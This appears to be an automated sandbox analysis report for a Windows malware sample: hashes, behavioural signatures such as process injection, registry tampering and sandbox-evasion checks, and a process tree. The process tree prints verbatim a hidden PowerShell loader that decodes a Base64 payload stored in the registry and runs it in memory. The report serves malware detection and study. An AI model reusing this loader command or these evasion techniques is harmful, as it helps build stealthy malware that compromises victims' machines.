Analysis
-
max time kernel
150s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
28-09-2024 04:54
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe
Resource
win7-20240903-en
windows7-x64
12 signatures
150 seconds
General
-
Target
fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe
-
Size
1.7MB
-
MD5
fb8afa9be7cd9b09165d39421503ebfd
-
SHA1
2919894445553dae0a5f97697cb5db0df965166e
-
SHA256
ef2a510aa2f3657c32deab53ec3fc80edd2bec58ac0da22e095513884e7043bc
-
SHA512
ba102f2e15540ade3990b82982be66b53db728d4929486477f63246646fc5559c294c5abb4cafdd989cf4adca090bdd5dd250c8ed38bb24a8e08e80e2cf824b3
-
SSDEEP
24576:Ak70TrcTvLK7koq/KtGm0kaSv/o+6207Bh9n1bUPrYTDpGEQ097U2T/DPFraw5kp:AkQTATTK73uSo37Bh968DpG+97U2TDAl
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3396 powershell.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2704 set thread context of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe -
Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{B1159E65-821C3-21C5-CE21-34A484D54444}\1292FA05 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{83C6A79D}\1292FA05\0 = "103169085206080038080248017230042230047171121106" fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{D3558E25-821F3-72C3-8A52-54A482A54739} fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{A3358E75-826A3-31A5-2C1E-14A484D53571} fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{A3358E75-826A3-31A5-2C1E-14A484D53571}\1292FA05\2 = "103169085206080038080248017230042230047171121106" fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{B1159E65-821C3-21C5-CE21-34A484D54444}\1292FA05\0 = "103169085206080038080248017230042230047171121106" fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{83C6A79D}\1292FA05 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{83C6A79D}\1292FA05\1 = "103169085206080038080248017230042230047171121106" fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{83C6A79D}\1292FA05\3 = "246087206208176072158153005148068255072109058117" fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{A3358E75-826A3-31A5-2C1E-14A484D53571}\1292FA05 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{B1159E65-821C3-21C5-CE21-34A484D54444} fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{B1159E65-821C3-21C5-CE21-34A484D54444}\1292FA05\3 = "246087206208176072158153005148068255072109058117" fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{83C6A79D} fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{D3558E25-821F3-72C3-8A52-54A482A54739}\1292FA05\2 = "159021122206117200165108097018043012143072010113" fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{B1159E65-821C3-21C5-CE21-34A484D54444}\1292FA05\1 = "103169085206080038080248017230042230047171121106" fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\CID\{D3558E25-821F3-72C3-8A52-54A482A54739}\1292FA05 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3396 powershell.exe 3396 powershell.exe 3396 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe Token: SeDebugPrivilege 3396 powershell.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 3424 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 2704 wrote to memory of 3332 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 31 PID 2704 wrote to memory of 3332 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 31 PID 2704 wrote to memory of 3332 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 31 PID 2704 wrote to memory of 3332 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 31 PID 3332 wrote to memory of 3396 3332 WScript.exe 32 PID 3332 wrote to memory of 3396 3332 WScript.exe 32 PID 3332 wrote to memory of 3396 3332 WScript.exe 32 PID 3332 wrote to memory of 3396 3332 WScript.exe 32 PID 2704 wrote to memory of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34 PID 2704 wrote to memory of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34 PID 2704 wrote to memory of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34 PID 2704 wrote to memory of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34 PID 2704 wrote to memory of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34 PID 2704 wrote to memory of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34 PID 2704 wrote to memory of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34 PID 2704 wrote to memory of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34 PID 2704 wrote to memory of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34 PID 2704 wrote to memory of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34 PID 2704 wrote to memory of 3424 2704 fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe 34
Processes
-
C:\Users\Admin\AppData\Local\Temp\fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2704 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\as.vbe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3332 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy UnRestricted -Windo 1 -windowstyle hidden -noprofile -Command "$cfJCQuaPpcvHNtburGeOoeUAfRuOkQSuaIABFRFY = (get-itemproperty -path 'HKCU:\COckTaiOeXpydafeztzeBYwivGWHLnKaPKbbzBD\WaRtD\' -name 'fUYIMvSOAzDMMzOhHueMLoX').fUYIMvSOAzDMMzOhHueMLoX;$cfJCQuaPpcvHNtburGeOoeUAfRuOkQSuaIABFRFY=$cfJCQuaPpcvHNtburGeOoeUAfRuOkQSuaIABFRFY.replace('!!!%!!!','A');[byte[]]$_0 = [System.Convert]::FromBase64String($cfJCQuaPpcvHNtburGeOoeUAfRuOkQSuaIABFRFY);$_1 = [Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke('uBzuyXHsbpUvQdVSJheiunBzDtnndTbTNAB',$null);"3⤵
- Command and Scripting Interpreter: PowerShell
- Maps connected drives based on registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3396
-
-
-
C:\Users\Admin\AppData\Local\Temp\fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3424
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
149KB
MD51f6996f5a49be5f10e98850c2f1da0d3
SHA1b116e7cbbda13b85b8967ee9ac52c1f0207ae060
SHA256cbeeedc1db225af601f228ac5ccc035c53cb4e3979c7c643fdc3059b53d4949d
SHA512d379b6d5f91649d1e4209aceb787be4feea12e72d4b56c5bb94e6bb52668df21db26cb39560a2ee3516f199e6cd454cd9b0fa5682b118273e6c530195dc9b1f4